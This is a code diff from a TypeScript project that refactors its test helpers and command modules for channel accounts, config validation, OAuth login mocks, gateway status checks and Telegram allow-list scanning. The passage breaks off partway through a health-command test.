}); it("adds a named WhatsApp account", async () => { - configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseSnapshot }); + configMocks.readConfigFileSnapshot.mockResolvedValue({ ...baseConfigSnapshot }); await channelsAddCommand( { channel: "whatsapp", account: "family", name: "Family Phone" }, runtime, @@ -175,7 +160,7 @@ describe("channels command", () => { it("adds a second signal account with a distinct name", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { channels: { signal: { @@ -212,7 +197,7 @@ describe("channels command", () => { it("disables a default provider account when remove has no delete flag", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { channels: { discord: { token: "d0", enabled: true } }, }, @@ -237,7 +222,7 @@ describe("channels command", () => { it("includes external auth profiles in JSON output", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: {}, }); authMocks.loadAuthProfileStore.mockReturnValue({ @@ -273,7 +258,7 @@ describe("channels command", () => { it("stores default account names in accounts when multiple accounts exist", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { channels: { telegram: { @@ -311,7 +296,7 @@ describe("channels command", () => { it("migrates base names when adding non-default accounts", async () => { configMocks.readConfigFileSnapshot.mockResolvedValue({ - ...baseSnapshot, + ...baseConfigSnapshot, config: { channels: { discord: { diff --git a/src/commands/channels.surfaces-signal-runtime-errors-channels-status-output.e2e.test.ts b/src/commands/channels.surfaces-signal-runtime-errors-channels-status-output.e2e.test.ts index 64976f667fe..83ef8718b0a 100644 --- a/src/commands/channels.surfaces-signal-runtime-errors-channels-status-output.e2e.test.ts +++ b/src/commands/channels.surfaces-signal-runtime-errors-channels-status-output.e2e.test.ts @@ -1,67 +1,12 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import type { RuntimeEnv } from "../runtime.js"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; import { signalPlugin } from "../../extensions/signal/src/channel.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createTestRegistry } from "../test-utils/channel-plugins.js"; import { createIMessageTestPlugin } from "../test-utils/imessage-test-plugin.js"; - -const configMocks = vi.hoisted(() => ({ - readConfigFileSnapshot: vi.fn(), - writeConfigFile: vi.fn().mockResolvedValue(undefined), -})); - -const authMocks = vi.hoisted(() => ({ - loadAuthProfileStore: vi.fn(), -})); - -vi.mock("../config/config.js", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - readConfigFileSnapshot: configMocks.readConfigFileSnapshot, - writeConfigFile: configMocks.writeConfigFile, - }; -}); - -vi.mock("../agents/auth-profiles.js", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - loadAuthProfileStore: authMocks.loadAuthProfileStore, - }; -}); - -import { formatGatewayChannelsStatusLines } from "./channels.js"; - -const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), -}; - -const _baseSnapshot = { - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: {}, - issues: [], - legacyIssues: [], -}; +import { formatGatewayChannelsStatusLines } from "./channels/status.js"; describe("channels command", () => { beforeEach(() => { - configMocks.readConfigFileSnapshot.mockReset(); - configMocks.writeConfigFile.mockClear(); - authMocks.loadAuthProfileStore.mockReset(); - runtime.log.mockClear(); - runtime.error.mockClear(); - runtime.exit.mockClear(); - authMocks.loadAuthProfileStore.mockReturnValue({ - version: 1, - profiles: {}, - }); setActivePluginRegistry( createTestRegistry([{ pluginId: "signal", source: "test", plugin: signalPlugin }]), ); diff --git a/src/commands/channels/shared.ts b/src/commands/channels/shared.ts index a2659ac2da6..8c5331e4ad7 100644 --- a/src/commands/channels/shared.ts +++ b/src/commands/channels/shared.ts @@ -1,26 +1,15 @@ +import type { OpenClawConfig } from "../../config/config.js"; import { type ChannelId, getChannelPlugin } from "../../channels/plugins/index.js"; -import { formatCliCommand } from "../../cli/command-format.js"; -import { type OpenClawConfig, readConfigFileSnapshot } from "../../config/config.js"; import { DEFAULT_ACCOUNT_ID } from "../../routing/session-key.js"; import { defaultRuntime, type RuntimeEnv } from "../../runtime.js"; +import { requireValidConfigSnapshot } from "../config-validation.js"; export type ChatChannel = ChannelId; export async function requireValidConfig( runtime: RuntimeEnv = defaultRuntime, ): Promise { - const snapshot = await readConfigFileSnapshot(); - if (snapshot.exists && !snapshot.valid) { - const issues = - snapshot.issues.length > 0 - ? snapshot.issues.map((issue) => `- ${issue.path}: ${issue.message}`).join("\n") - : "Unknown validation issue."; - runtime.error(`Config invalid:\n${issues}`); - runtime.error(`Fix the config or run ${formatCliCommand("openclaw doctor")}.`); - runtime.exit(1); - return null; - } - return snapshot.config; + return await requireValidConfigSnapshot(runtime); } export function formatAccountLabel(params: { accountId: string; name?: string }) { diff --git a/src/commands/channels/status.ts b/src/commands/channels/status.ts index 28debb7e411..3efb6cc0f78 100644 --- a/src/commands/channels/status.ts +++ b/src/commands/channels/status.ts @@ -54,6 +54,21 @@ function appendBaseUrlBit(bits: string[], account: Record) { } } +function buildChannelAccountLine( + provider: ChatChannel, + account: Record, + bits: string[], +): string { + const accountId = typeof account.accountId === "string" ? account.accountId : "default"; + const name = typeof account.name === "string" ? account.name.trim() : ""; + const labelText = formatChannelAccountLabel({ + channel: provider, + accountId, + name: name || undefined, + }); + return `- ${labelText}: ${bits.join(", ")}`; +} + export function formatGatewayChannelsStatusLines(payload: Record): string[] { const lines: string[] = []; lines.push(theme.success("Gateway reachable.")); @@ -131,14 +146,7 @@ export function formatGatewayChannelsStatusLines(payload: Record { return "url" in url ? url.url : String(url); }; +function createOAuthFetchFn(params: { + accessToken: string; + refreshToken: string; + username: string; + passthrough?: boolean; +}): typeof fetch { + return async (input, init) => { + const url = urlToString(input); + if (url === CHUTES_TOKEN_ENDPOINT) { + return new Response( + JSON.stringify({ + access_token: params.accessToken, + refresh_token: params.refreshToken, + expires_in: 3600, + }), + { status: 200, headers: { "Content-Type": "application/json" } }, + ); + } + if (url === CHUTES_USERINFO_ENDPOINT) { + return new Response(JSON.stringify({ username: params.username }), { + status: 200, + headers: { "Content-Type": "application/json" }, + }); + } + if (params.passthrough) { + return fetch(input, init); + } + return new Response("not found", { status: 404 }); + }; +} + describe("loginChutes", () => { it("captures local redirect and exchanges code for tokens", async () => { const port = await getFreePort(); const redirectUri = `http://127.0.0.1:${port}/oauth-callback`; - const fetchFn: typeof fetch = async (input, init) => { - const url = urlToString(input); - if (url === CHUTES_TOKEN_ENDPOINT) { - return new Response( - JSON.stringify({ - access_token: "at_local", - refresh_token: "rt_local", - expires_in: 3600, - }), - { status: 200, headers: { "Content-Type": "application/json" } }, - ); - } - if (url === CHUTES_USERINFO_ENDPOINT) { - return new Response(JSON.stringify({ username: "local-user" }), { - status: 200, - headers: { "Content-Type": "application/json" }, - }); - } - return fetch(input, init); - }; + const fetchFn = createOAuthFetchFn({ + accessToken: "at_local", + refreshToken: "rt_local", + username: "local-user", + passthrough: true, + }); const onPrompt = vi.fn(async () => { throw new Error("onPrompt should not be called for local callback"); @@ -74,26 +91,11 @@ describe("loginChutes", () => { }); it("supports manual flow with pasted redirect URL", async () => { - const fetchFn: typeof fetch = async (input) => { - const url = urlToString(input); - if (url === CHUTES_TOKEN_ENDPOINT) { - return new Response( - JSON.stringify({ - access_token: "at_manual", - refresh_token: "rt_manual", - expires_in: 3600, - }), - { status: 200, headers: { "Content-Type": "application/json" } }, - ); - } - if (url === CHUTES_USERINFO_ENDPOINT) { - return new Response(JSON.stringify({ username: "manual-user" }), { - status: 200, - headers: { "Content-Type": "application/json" }, - }); - } - return new Response("not found", { status: 404 }); - }; + const fetchFn = createOAuthFetchFn({ + accessToken: "at_manual", + refreshToken: "rt_manual", + username: "manual-user", + }); let capturedState: string | null = null; const creds = await loginChutes({ @@ -121,26 +123,11 @@ describe("loginChutes", () => { }); it("does not reuse code_verifier as state", async () => { - const fetchFn: typeof fetch = async (input) => { - const url = urlToString(input); - if (url === CHUTES_TOKEN_ENDPOINT) { - return new Response( - JSON.stringify({ - access_token: "at_manual", - refresh_token: "rt_manual", - expires_in: 3600, - }), - { status: 200, headers: { "Content-Type": "application/json" } }, - ); - } - if (url === CHUTES_USERINFO_ENDPOINT) { - return new Response(JSON.stringify({ username: "manual-user" }), { - status: 200, - headers: { "Content-Type": "application/json" }, - }); - } - return new Response("not found", { status: 404 }); - }; + const fetchFn = createOAuthFetchFn({ + accessToken: "at_manual", + refreshToken: "rt_manual", + username: "manual-user", + }); const createPkce = () => ({ verifier: "verifier_123", diff --git a/src/commands/config-validation.ts b/src/commands/config-validation.ts new file mode 100644 index 00000000000..6544b15fbab --- /dev/null +++ b/src/commands/config-validation.ts @@ -0,0 +1,20 @@ +import type { RuntimeEnv } from "../runtime.js"; +import { formatCliCommand } from "../cli/command-format.js"; +import { type OpenClawConfig, readConfigFileSnapshot } from "../config/config.js"; + +export async function requireValidConfigSnapshot( + runtime: RuntimeEnv, +): Promise { + const snapshot = await readConfigFileSnapshot(); + if (snapshot.exists && !snapshot.valid) { + const issues = + snapshot.issues.length > 0 + ? snapshot.issues.map((issue) => `- ${issue.path}: ${issue.message}`).join("\n") + : "Unknown validation issue."; + runtime.error(`Config invalid:\n${issues}`); + runtime.error(`Fix the config or run ${formatCliCommand("openclaw doctor")}.`); + runtime.exit(1); + return null; + } + return snapshot.config; +} diff --git a/src/commands/configure.gateway.e2e.test.ts b/src/commands/configure.gateway.e2e.test.ts index 092ecd3d407..4aa6127a1db 100644 --- a/src/commands/configure.gateway.e2e.test.ts +++ b/src/commands/configure.gateway.e2e.test.ts @@ -47,6 +47,30 @@ vi.mock("./onboard-helpers.js", async (importActual) => { import { promptGatewayConfig } from "./configure.gateway.js"; +function makeRuntime(): RuntimeEnv { + return { + log: vi.fn(), + error: vi.fn(), + exit: vi.fn(), + }; +} + +async function runTrustedProxyPrompt(textQueue: Array) { + vi.clearAllMocks(); + mocks.resolveGatewayPort.mockReturnValue(18789); + const selectQueue = ["loopback", "trusted-proxy", "off"]; + mocks.select.mockImplementation(async () => selectQueue.shift()); + mocks.text.mockImplementation(async () => textQueue.shift()); + mocks.buildGatewayAuthConfig.mockImplementation(({ mode, trustedProxy }) => ({ + mode, + trustedProxy, + })); + + const result = await promptGatewayConfig({}, makeRuntime()); + const call = mocks.buildGatewayAuthConfig.mock.calls[0]?.[0]; + return { result, call }; +} + describe("promptGatewayConfig", () => { it("generates a token when the prompt returns undefined", async () => { mocks.resolveGatewayPort.mockReturnValue(18789); @@ -99,33 +123,13 @@ describe("promptGatewayConfig", () => { }); it("prompts for trusted-proxy configuration when trusted-proxy mode selected", async () => { - vi.clearAllMocks(); - mocks.resolveGatewayPort.mockReturnValue(18789); - // Flow: loopback bind → trusted-proxy auth → tailscale off - const selectQueue = ["loopback", "trusted-proxy", "off"]; - mocks.select.mockImplementation(async () => selectQueue.shift()); - // Port prompt, userHeader, requiredHeaders, allowUsers, trustedProxies - const textQueue = [ + const { result, call } = await runTrustedProxyPrompt([ "18789", "x-forwarded-user", "x-forwarded-proto,x-forwarded-host", "nick@example.com", "10.0.1.10,192.168.1.5", - ]; - mocks.text.mockImplementation(async () => textQueue.shift()); - mocks.buildGatewayAuthConfig.mockImplementation(({ mode, trustedProxy }) => ({ - mode, - trustedProxy, - })); - - const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), - }; - - const result = await promptGatewayConfig({}, runtime); - const call = mocks.buildGatewayAuthConfig.mock.calls[0]?.[0]; + ]); expect(call?.mode).toBe("trusted-proxy"); expect(call?.trustedProxy).toEqual({ @@ -138,26 +142,13 @@ describe("promptGatewayConfig", () => { }); it("handles trusted-proxy with no optional fields", async () => { - vi.clearAllMocks(); - mocks.resolveGatewayPort.mockReturnValue(18789); - const selectQueue = ["loopback", "trusted-proxy", "off"]; - mocks.select.mockImplementation(async () => selectQueue.shift()); - // Port prompt, userHeader (only required), empty requiredHeaders, empty allowUsers, trustedProxies - const textQueue = ["18789", "x-remote-user", "", "", "10.0.0.1"]; - mocks.text.mockImplementation(async () => textQueue.shift()); - mocks.buildGatewayAuthConfig.mockImplementation(({ mode, trustedProxy }) => ({ - mode, - trustedProxy, - })); - - const runtime: RuntimeEnv = { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), - }; - - const result = await promptGatewayConfig({}, runtime); - const call = mocks.buildGatewayAuthConfig.mock.calls[0]?.[0]; + const { result, call } = await runTrustedProxyPrompt([ + "18789", + "x-remote-user", + "", + "", + "10.0.0.1", + ]); expect(call?.mode).toBe("trusted-proxy"); expect(call?.trustedProxy).toEqual({ diff --git a/src/commands/doctor-config-flow.ts b/src/commands/doctor-config-flow.ts index 287a2ac8ca6..4c8707d0c5f 100644 --- a/src/commands/doctor-config-flow.ts +++ b/src/commands/doctor-config-flow.ts @@ -149,12 +149,88 @@ function noteOpencodeProviderOverrides(cfg: OpenClawConfig) { type TelegramAllowFromUsernameHit = { path: string; entry: string }; +type TelegramAllowFromListRef = { + pathLabel: string; + holder: Record; + key: "allowFrom" | "groupAllowFrom"; +}; + +function asObjectRecord(value: unknown): Record | null { + if (!value || typeof value !== "object" || Array.isArray(value)) { + return null; + } + return value as Record; +} + +function collectTelegramAccountScopes( + cfg: OpenClawConfig, +): Array<{ prefix: string; account: Record }> { + const scopes: Array<{ prefix: string; account: Record }> = []; + const telegram = asObjectRecord(cfg.channels?.telegram); + if (!telegram) { + return scopes; + } + + scopes.push({ prefix: "channels.telegram", account: telegram }); + const accounts = asObjectRecord(telegram.accounts); + if (!accounts) { + return scopes; + } + for (const key of Object.keys(accounts)) { + const account = asObjectRecord(accounts[key]); + if (!account) { + continue; + } + scopes.push({ prefix: `channels.telegram.accounts.${key}`, account }); + } + + return scopes; +} + +function collectTelegramAllowFromLists( + prefix: string, + account: Record, +): TelegramAllowFromListRef[] { + const refs: TelegramAllowFromListRef[] = [ + { pathLabel: `${prefix}.allowFrom`, holder: account, key: "allowFrom" }, + { pathLabel: `${prefix}.groupAllowFrom`, holder: account, key: "groupAllowFrom" }, + ]; + const groups = asObjectRecord(account.groups); + if (!groups) { + return refs; + } + + for (const groupId of Object.keys(groups)) { + const group = asObjectRecord(groups[groupId]); + if (!group) { + continue; + } + refs.push({ + pathLabel: `${prefix}.groups.${groupId}.allowFrom`, + holder: group, + key: "allowFrom", + }); + const topics = asObjectRecord(group.topics); + if (!topics) { + continue; + } + for (const topicId of Object.keys(topics)) { + const topic = asObjectRecord(topics[topicId]); + if (!topic) { + continue; + } + refs.push({ + pathLabel: `${prefix}.groups.${groupId}.topics.${topicId}.allowFrom`, + holder: topic, + key: "allowFrom", + }); + } + } + return refs; +} + function scanTelegramAllowFromUsernameEntries(cfg: OpenClawConfig): TelegramAllowFromUsernameHit[] { const hits: TelegramAllowFromUsernameHit[] = []; - const telegram = cfg.channels?.telegram; - if (!telegram) { - return hits; - } const scanList = (pathLabel: string, list: unknown) => { if (!Array.isArray(list)) { @@ -172,51 +248,10 @@ function scanTelegramAllowFromUsernameEntries(cfg: OpenClawConfig): TelegramAllo } }; - const scanAccount = (prefix: string, account: Record) => { - scanList(`${prefix}.allowFrom`, account.allowFrom); - scanList(`${prefix}.groupAllowFrom`, account.groupAllowFrom); - const groups = account.groups; - if (!groups || typeof groups !== "object" || Array.isArray(groups)) { - return; + for (const scope of collectTelegramAccountScopes(cfg)) { + for (const ref of collectTelegramAllowFromLists(scope.prefix, scope.account)) { + scanList(ref.pathLabel, ref.holder[ref.key]); } - const groupsRecord = groups as Record; - for (const groupId of Object.keys(groupsRecord)) { - const group = groupsRecord[groupId]; - if (!group || typeof group !== "object" || Array.isArray(group)) { - continue; - } - const groupRec = group as Record; - scanList(`${prefix}.groups.${groupId}.allowFrom`, groupRec.allowFrom); - const topics = groupRec.topics; - if (!topics || typeof topics !== "object" || Array.isArray(topics)) { - continue; - } - const topicsRecord = topics as Record; - for (const topicId of Object.keys(topicsRecord)) { - const topic = topicsRecord[topicId]; - if (!topic || typeof topic !== "object" || Array.isArray(topic)) { - continue; - } - scanList( - `${prefix}.groups.${groupId}.topics.${topicId}.allowFrom`, - (topic as Record).allowFrom, - ); - } - } - }; - - scanAccount("channels.telegram", telegram as unknown as Record); - - const accounts = telegram.accounts; - if (!accounts || typeof accounts !== "object" || Array.isArray(accounts)) { - return hits; - } - for (const key of Object.keys(accounts)) { - const account = accounts[key]; - if (!account || typeof account !== "object" || Array.isArray(account)) { - continue; - } - scanAccount(`channels.telegram.accounts.${key}`, account as Record); } return hits; @@ -345,55 +380,13 @@ async function maybeRepairTelegramAllowFromUsernames(cfg: OpenClawConfig): Promi }; const repairAccount = async (prefix: string, account: Record) => { - await repairList(`${prefix}.allowFrom`, account, "allowFrom"); - await repairList(`${prefix}.groupAllowFrom`, account, "groupAllowFrom"); - const groups = account.groups; - if (!groups || typeof groups !== "object" || Array.isArray(groups)) { - return; - } - const groupsRecord = groups as Record; - for (const groupId of Object.keys(groupsRecord)) { - const group = groupsRecord[groupId]; - if (!group || typeof group !== "object" || Array.isArray(group)) { - continue; - } - const groupRec = group as Record; - await repairList(`${prefix}.groups.${groupId}.allowFrom`, groupRec, "allowFrom"); - const topics = groupRec.topics; - if (!topics || typeof topics !== "object" || Array.isArray(topics)) { - continue; - } - const topicsRecord = topics as Record; - for (const topicId of Object.keys(topicsRecord)) { - const topic = topicsRecord[topicId]; - if (!topic || typeof topic !== "object" || Array.isArray(topic)) { - continue; - } - await repairList( - `${prefix}.groups.${groupId}.topics.${topicId}.allowFrom`, - topic as Record, - "allowFrom", - ); - } + for (const ref of collectTelegramAllowFromLists(prefix, account)) { + await repairList(ref.pathLabel, ref.holder, ref.key); } }; - const telegram = next.channels?.telegram; - if (telegram && typeof telegram === "object" && !Array.isArray(telegram)) { - await repairAccount("channels.telegram", telegram as unknown as Record); - const accounts = (telegram as Record).accounts; - if (accounts && typeof accounts === "object" && !Array.isArray(accounts)) { - for (const key of Object.keys(accounts as Record)) { - const account = (accounts as Record)[key]; - if (!account || typeof account !== "object" || Array.isArray(account)) { - continue; - } - await repairAccount( - `channels.telegram.accounts.${key}`, - account as Record, - ); - } - } + for (const scope of collectTelegramAccountScopes(next)) { + await repairAccount(scope.prefix, scope.account); } if (changes.length === 0) { diff --git a/src/commands/doctor-state-migrations.e2e.test.ts b/src/commands/doctor-state-migrations.e2e.test.ts index 5d43859173c..36dd7fa6257 100644 --- a/src/commands/doctor-state-migrations.e2e.test.ts +++ b/src/commands/doctor-state-migrations.e2e.test.ts @@ -35,6 +35,39 @@ function writeJson5(filePath: string, value: unknown) { fs.writeFileSync(filePath, JSON.stringify(value, null, 2), "utf-8"); } +async function detectAndRunMigrations(params: { + root: string; + cfg: OpenClawConfig; + now?: () => number; +}) { + const detected = await detectLegacyStateMigrations({ + cfg: params.cfg, + env: { OPENCLAW_STATE_DIR: params.root } as NodeJS.ProcessEnv, + }); + await runLegacyStateMigrations({ detected, now: params.now }); +} + +function readSessionsStore(targetDir: string) { + return JSON.parse(fs.readFileSync(path.join(targetDir, "sessions.json"), "utf-8")) as Record< + string, + { sessionId: string } + >; +} + +async function runAndReadSessionsStore(params: { + root: string; + cfg: OpenClawConfig; + targetDir: string; + now?: () => number; +}) { + await detectAndRunMigrations({ + root: params.root, + cfg: params.cfg, + now: params.now, + }); + return readSessionsStore(params.targetDir); +} + describe("doctor legacy state migrations", () => { it("migrates legacy sessions into agents//sessions", async () => { const root = await makeTempRoot(); @@ -236,16 +269,13 @@ describe("doctor legacy state migrations", () => { "+1555": { sessionId: "a", updatedAt: 10 }, }); - const detected = await detectLegacyStateMigrations({ - cfg, - env: { OPENCLAW_STATE_DIR: root } as NodeJS.ProcessEnv, - }); - await runLegacyStateMigrations({ detected, now: () => 123 }); - const targetDir = path.join(root, "agents", "alpha", "sessions"); - const store = JSON.parse( - fs.readFileSync(path.join(targetDir, "sessions.json"), "utf-8"), - ) as Record; + const store = await runAndReadSessionsStore({ + root, + cfg, + targetDir, + now: () => 123, + }); expect(store["agent:alpha:main"]?.sessionId).toBe("a"); }); @@ -259,16 +289,13 @@ describe("doctor legacy state migrations", () => { "+1666": { sessionId: "b", updatedAt: 20 }, }); - const detected = await detectLegacyStateMigrations({ - cfg, - env: { OPENCLAW_STATE_DIR: root } as NodeJS.ProcessEnv, - }); - await runLegacyStateMigrations({ detected, now: () => 123 }); - const targetDir = path.join(root, "agents", "main", "sessions"); - const store = JSON.parse( - fs.readFileSync(path.join(targetDir, "sessions.json"), "utf-8"), - ) as Record; + const store = await runAndReadSessionsStore({ + root, + cfg, + targetDir, + now: () => 123, + }); expect(store["agent:main:work"]?.sessionId).toBe("b"); expect(store["agent:main:main"]).toBeUndefined(); }); @@ -282,15 +309,12 @@ describe("doctor legacy state migrations", () => { "agent:main:main": { sessionId: "fresh", updatedAt: 20 }, }); - const detected = await detectLegacyStateMigrations({ + const store = await runAndReadSessionsStore({ + root, cfg, - env: { OPENCLAW_STATE_DIR: root } as NodeJS.ProcessEnv, + targetDir, + now: () => 123, }); - await runLegacyStateMigrations({ detected, now: () => 123 }); - - const store = JSON.parse( - fs.readFileSync(path.join(targetDir, "sessions.json"), "utf-8"), - ) as Record; expect(store["main"]).toBeUndefined(); expect(store["agent:main:main"]?.sessionId).toBe("fresh"); }); @@ -304,15 +328,12 @@ describe("doctor legacy state migrations", () => { "agent:main:work": { sessionId: "canonical", updatedAt: 10 }, }); - const detected = await detectLegacyStateMigrations({ + const store = await runAndReadSessionsStore({ + root, cfg, - env: { OPENCLAW_STATE_DIR: root } as NodeJS.ProcessEnv, + targetDir, + now: () => 123, }); - await runLegacyStateMigrations({ detected, now: () => 123 }); - - const store = JSON.parse( - fs.readFileSync(path.join(targetDir, "sessions.json"), "utf-8"), - ) as Record; expect(store["agent:main:work"]?.sessionId).toBe("legacy"); expect(store["agent:main:main"]).toBeUndefined(); }); @@ -325,15 +346,12 @@ describe("doctor legacy state migrations", () => { "agent:main:slack:channel:C123": { sessionId: "legacy", updatedAt: 10 }, }); - const detected = await detectLegacyStateMigrations({ + const store = await runAndReadSessionsStore({ + root, cfg, - env: { OPENCLAW_STATE_DIR: root } as NodeJS.ProcessEnv, + targetDir, + now: () => 123, }); - await runLegacyStateMigrations({ detected, now: () => 123 }); - - const store = JSON.parse( - fs.readFileSync(path.join(targetDir, "sessions.json"), "utf-8"), - ) as Record; expect(store["agent:main:slack:channel:c123"]?.sessionId).toBe("legacy"); expect(store["agent:main:slack:channel:C123"]).toBeUndefined(); }); diff --git a/src/commands/gateway-status.e2e.test.ts b/src/commands/gateway-status.e2e.test.ts index 5e816f581b7..900bc679e48 100644 --- a/src/commands/gateway-status.e2e.test.ts +++ b/src/commands/gateway-status.e2e.test.ts @@ -108,17 +108,32 @@ vi.mock("../gateway/probe.js", () => ({ probeGateway: (opts: unknown) => probeGateway(opts), })); +function createRuntimeCapture() { + const runtimeLogs: string[] = []; + const runtimeErrors: string[] = []; + const runtime = { + log: (msg: string) => runtimeLogs.push(msg), + error: (msg: string) => runtimeErrors.push(msg), + exit: (code: number) => { + throw new Error(`__exit__:${code}`); + }, + }; + return { runtime, runtimeLogs, runtimeErrors }; +} + +async function withUserEnv(user: string, fn: () => Promise) { + const originalUser = process.env.USER; + try { + process.env.USER = user; + await fn(); + } finally { + process.env.USER = originalUser; + } +} + describe("gateway-status command", () => { it("prints human output by default", async () => { - const runtimeLogs: string[] = []; - const runtimeErrors: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (msg: string) => runtimeErrors.push(msg), - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; + const { runtime, runtimeLogs, runtimeErrors } = createRuntimeCapture(); const { gatewayStatusCommand } = await import("./gateway-status.js"); await gatewayStatusCommand( @@ -133,15 +148,7 @@ describe("gateway-status command", () => { }); it("prints a structured JSON envelope when --json is set", async () => { - const runtimeLogs: string[] = []; - const runtimeErrors: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (msg: string) => runtimeErrors.push(msg), - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; + const { runtime, runtimeLogs, runtimeErrors } = createRuntimeCapture(); const { gatewayStatusCommand } = await import("./gateway-status.js"); await gatewayStatusCommand( @@ -160,14 +167,7 @@ describe("gateway-status command", () => { }); it("supports SSH tunnel targets", async () => { - const runtimeLogs: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (_msg: string) => {}, - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; + const { runtime, runtimeLogs } = createRuntimeCapture(); startSshPortForward.mockClear(); sshStop.mockClear(); @@ -193,18 +193,8 @@ describe("gateway-status command", () => { }); it("skips invalid ssh-auto discovery targets", async () => { - const runtimeLogs: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (_msg: string) => {}, - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; - - const originalUser = process.env.USER; - try { - process.env.USER = "steipete"; + const { runtime } = createRuntimeCapture(); + await withUserEnv("steipete", async () => { loadConfig.mockReturnValueOnce({ gateway: { mode: "remote", @@ -226,24 +216,12 @@ describe("gateway-status command", () => { expect(startSshPortForward).toHaveBeenCalledTimes(1); const call = startSshPortForward.mock.calls[0]?.[0] as { target: string }; expect(call.target).toBe("steipete@goodhost"); - } finally { - process.env.USER = originalUser; - } + }); }); it("infers SSH target from gateway.remote.url and ssh config", async () => { - const runtimeLogs: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (_msg: string) => {}, - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; - - const originalUser = process.env.USER; - try { - process.env.USER = "steipete"; + const { runtime } = createRuntimeCapture(); + await withUserEnv("steipete", async () => { loadConfig.mockReturnValueOnce({ gateway: { mode: "remote", @@ -271,24 +249,12 @@ describe("gateway-status command", () => { }; expect(call.target).toBe("steipete@peters-mac-studio-1.sheep-coho.ts.net:2222"); expect(call.identity).toBe("/tmp/id_ed25519"); - } finally { - process.env.USER = originalUser; - } + }); }); it("falls back to host-only when USER is missing and ssh config is unavailable", async () => { - const runtimeLogs: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (_msg: string) => {}, - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; - - const originalUser = process.env.USER; - try { - process.env.USER = ""; + const { runtime } = createRuntimeCapture(); + await withUserEnv("", async () => { loadConfig.mockReturnValueOnce({ gateway: { mode: "remote", @@ -308,20 +274,11 @@ describe("gateway-status command", () => { target: string; }; expect(call.target).toBe("studio.example"); - } finally { - process.env.USER = originalUser; - } + }); }); it("keeps explicit SSH identity even when ssh config provides one", async () => { - const runtimeLogs: string[] = []; - const runtime = { - log: (msg: string) => runtimeLogs.push(msg), - error: (_msg: string) => {}, - exit: (code: number) => { - throw new Error(`__exit__:${code}`); - }, - }; + const { runtime } = createRuntimeCapture(); loadConfig.mockReturnValueOnce({ gateway: { diff --git a/src/commands/health.e2e.test.ts b/src/commands/health.e2e.test.ts index e452b1389a8..f1abbd6f8d7 100644 --- a/src/commands/health.e2e.test.ts +++ b/src/commands/health.e2e.test.ts @@ -10,6 +10,43 @@ const runtime = { exit: vi.fn(), }; +const defaultSessions = { path: "/tmp/sessions.json", count: 0, recent: [] }; + +const createMainAgentSummary = (sessions = defaultSessions) => ({ + agentId: "main", + isDefault: true, + heartbeat: { + enabled: true, + every: "1m", + everyMs: 60_000, + prompt: "hi", + target: "last", + ackMaxChars: 160, + }, + sessions, +}); + +const createHealthSummary = (params: { + channels: HealthSummary["channels"]; + channelOrder: string[]; + channelLabels: HealthSummary["channelLabels"]; + sessions?: HealthSummary["sessions"]; +}): HealthSummary => { + const sessions = params.sessions ?? defaultSessions; + return { + ok: true, + ts: Date.now(), + durationMs: 5, + channels: params.channels, + channelOrder: params.channelOrder, + channelLabels: params.channelLabels, + heartbeatSeconds: 60, + defaultAgentId: "main", + agents: [createMainAgentSummary(sessions)], + sessions, + }; +}; + const callGatewayMock = vi.fn(); vi.mock("../gateway/call.js", () => ({ callGateway: (...args: unknown[]) => callGatewayMock(...args), @@ -26,10 +63,7 @@ describe("healthCommand", () => { count: 1, recent: [{ key: "+1555", updatedAt: Date.now(), age: 0 }], }; - const snapshot: HealthSummary = { - ok: true, - ts: Date.now(), - durationMs: 5, + const snapshot = createHealthSummary({ channels: { whatsapp: { accountId: "default", linked: true, authAgeMs: 5000 }, telegram: { @@ -45,25 +79,8 @@ describe("healthCommand", () => { telegram: "Telegram", discord: "Discord", }, - heartbeatSeconds: 60, - defaultAgentId: "main", - agents: [ - { - agentId: "main", - isDefault: true, - heartbeat: { - enabled: true, - every: "1m", - everyMs: 60_000, - prompt: "hi", - target: "last", - ackMaxChars: 160, - }, - sessions: agentSessions, - }, - ], sessions: agentSessions, - }; + }); callGatewayMock.mockResolvedValueOnce(snapshot); await healthCommand({ json: true, timeoutMs: 5000 }, runtime as never); @@ -77,40 +94,21 @@ describe("healthCommand", () => { }); it("prints text summary when not json", async () => { - callGatewayMock.mockResolvedValueOnce({ - ok: true, - ts: Date.now(), - durationMs: 5, - channels: { - whatsapp: { accountId: "default", linked: false, authAgeMs: null }, - telegram: { accountId: "default", configured: false }, - discord: { accountId: "default", configured: false }, - }, - channelOrder: ["whatsapp", "telegram", "discord"], - channelLabels: { - whatsapp: "WhatsApp", - telegram: "Telegram", - discord: "Discord", - }, - heartbeatSeconds: 60, - defaultAgentId: "main", - agents: [ - { - agentId: "main", - isDefault: true, - heartbeat: { - enabled: 